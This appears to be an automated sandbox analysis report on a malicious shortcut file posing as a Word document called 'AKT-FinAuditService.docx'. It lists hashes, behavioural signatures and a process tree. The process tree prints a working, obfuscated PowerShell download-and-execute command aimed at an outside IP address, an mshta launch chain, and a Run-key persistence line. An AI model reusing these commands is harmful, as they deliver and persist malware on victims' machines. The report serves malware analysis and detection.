Analysis
-
max time kernel
140s -
max time network
140s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
16/07/2020, 16:09
Static task
static1
Behavioral task
behavioral1
Sample
AKT-FinAuditService.docx.lnk
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
AKT-FinAuditService.docx.lnk
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
AKT-FinAuditService.docx.lnk
-
Size
27KB
-
MD5
1425616dd18b99224472948a0442fda8
-
SHA1
406d63ededaf84274793601e420dd4c1b7a23bfc
-
SHA256
769ad49c1d893c2965e25f180288e649d42b89a0b7588f63ad7c4bdba1105537
-
SHA512
835fc2c4f2874c9faf155352405e7a976b51dbda62a13d484cedcd989c894a169ac8054555c8d91b3833aa8a7f2c52d145904db1ce6224743744dfc27d15209f
Score
8/10
Malware Config
Signatures
-
Blacklisted process makes network request 1 IoCs
flow pid Process 5 3816 powershell.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000_Classes\Local Settings mshta.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\jwmnbak2 = "cmd /c power^shell -windowstyle hidden -nop -c \"Get-Content -Raw ''C:\\Users\\Admin\\AppData\\Roaming\\jwmnbak2.ini'' | iex \"" powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1740 wrote to memory of 3800 1740 cmd.exe 69 PID 1740 wrote to memory of 3800 1740 cmd.exe 69 PID 3800 wrote to memory of 2908 3800 cmd.exe 70 PID 3800 wrote to memory of 2908 3800 cmd.exe 70 PID 2908 wrote to memory of 2576 2908 mshta.exe 71 PID 2908 wrote to memory of 2576 2908 mshta.exe 71 PID 2908 wrote to memory of 3816 2908 mshta.exe 73 PID 2908 wrote to memory of 3816 2908 mshta.exe 73 -
Deletes itself 1 IoCs
pid Process 2908 mshta.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 3816 powershell.exe 3816 powershell.exe 3816 powershell.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 2576 WINWORD.EXE 2576 WINWORD.EXE 2576 WINWORD.EXE 2576 WINWORD.EXE 2576 WINWORD.EXE 2576 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeDebugPrivilege 3816 powershell.exe Token: SeIncreaseQuotaPrivilege 3816 powershell.exe Token: SeSecurityPrivilege 3816 powershell.exe Token: SeTakeOwnershipPrivilege 3816 powershell.exe Token: SeLoadDriverPrivilege 3816 powershell.exe Token: SeSystemProfilePrivilege 3816 powershell.exe Token: SeSystemtimePrivilege 3816 powershell.exe Token: SeProfSingleProcessPrivilege 3816 powershell.exe Token: SeIncBasePriorityPrivilege 3816 powershell.exe Token: SeCreatePagefilePrivilege 3816 powershell.exe Token: SeBackupPrivilege 3816 powershell.exe Token: SeRestorePrivilege 3816 powershell.exe Token: SeShutdownPrivilege 3816 powershell.exe Token: SeDebugPrivilege 3816 powershell.exe Token: SeSystemEnvironmentPrivilege 3816 powershell.exe Token: SeRemoteShutdownPrivilege 3816 powershell.exe Token: SeUndockPrivilege 3816 powershell.exe Token: SeManageVolumePrivilege 3816 powershell.exe Token: 33 3816 powershell.exe Token: 34 3816 powershell.exe Token: 35 3816 powershell.exe Token: 36 3816 powershell.exe Token: SeIncreaseQuotaPrivilege 3816 powershell.exe Token: SeSecurityPrivilege 3816 powershell.exe Token: SeTakeOwnershipPrivilege 3816 powershell.exe Token: SeLoadDriverPrivilege 3816 powershell.exe Token: SeSystemProfilePrivilege 3816 powershell.exe Token: SeSystemtimePrivilege 3816 powershell.exe Token: SeProfSingleProcessPrivilege 3816 powershell.exe Token: SeIncBasePriorityPrivilege 3816 powershell.exe Token: SeCreatePagefilePrivilege 3816 powershell.exe Token: SeBackupPrivilege 3816 powershell.exe Token: SeRestorePrivilege 3816 powershell.exe Token: SeShutdownPrivilege 3816 powershell.exe Token: SeDebugPrivilege 3816 powershell.exe Token: SeSystemEnvironmentPrivilege 3816 powershell.exe Token: SeRemoteShutdownPrivilege 3816 powershell.exe Token: SeUndockPrivilege 3816 powershell.exe Token: SeManageVolumePrivilege 3816 powershell.exe Token: 33 3816 powershell.exe Token: 34 3816 powershell.exe Token: 35 3816 powershell.exe Token: 36 3816 powershell.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2576 WINWORD.EXE 2576 WINWORD.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\AKT-FinAuditService.docx.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_А^ктСве^рки.z^ip\!a!)2⤵
- Suspicious use of WriteProcessMemory
PID:3800 -
C:\Windows\system32\mshta.exemshta "C:\Users\Admin\AppData\Local\Temp\AKT-FinAuditService.docx.lnk "3⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
- Deletes itself
PID:2908 -
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\AKT-FinAuditService.docx" /o ""4⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:2576
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c while(!(.("""{0}{1}{2}"""-f ("""{1}{0}""" -f 'st-','Te'),("""{2}{1}{0}""" -f 'ec','onn','C'),("""{1}{0}"""-f'n','tio')) ("""{1}{2}{0}""" -f ("""{0}{1}"""-f("""{1}{0}"""-f'.c','le'),'om'),'g','oog') -q)) {&("""{1}{2}{0}{3}""" -f ("""{0}{1}""" -f("""{0}{1}""" -f 'a','rt-'),'Sl'),'S','t','eep') -s 5} .("""{1}{0}""" -f'ex','i')(.("""{2}{1}{0}""" -f't',("""{1}{0}"""-f 'jec','Ob'),("""{0}{1}""" -f'Ne','w-')) ("""{0}{4}{1}{2}{3}"""-f ("""{1}{0}""" -f 'W',("""{0}{1}"""-f 'Net','.')),'C','li','ent','eb')).("""{3}{4}{1}{2}{0}"""-f'ing',("""{1}{0}"""-f'lo','wn'),("""{1}{0}""" -f 'Str','ad'),'D','o')."""In`Vo`kE"""(("""http://45.61.138.170/decide.php"""))4⤵
- Blacklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3816
-
-
-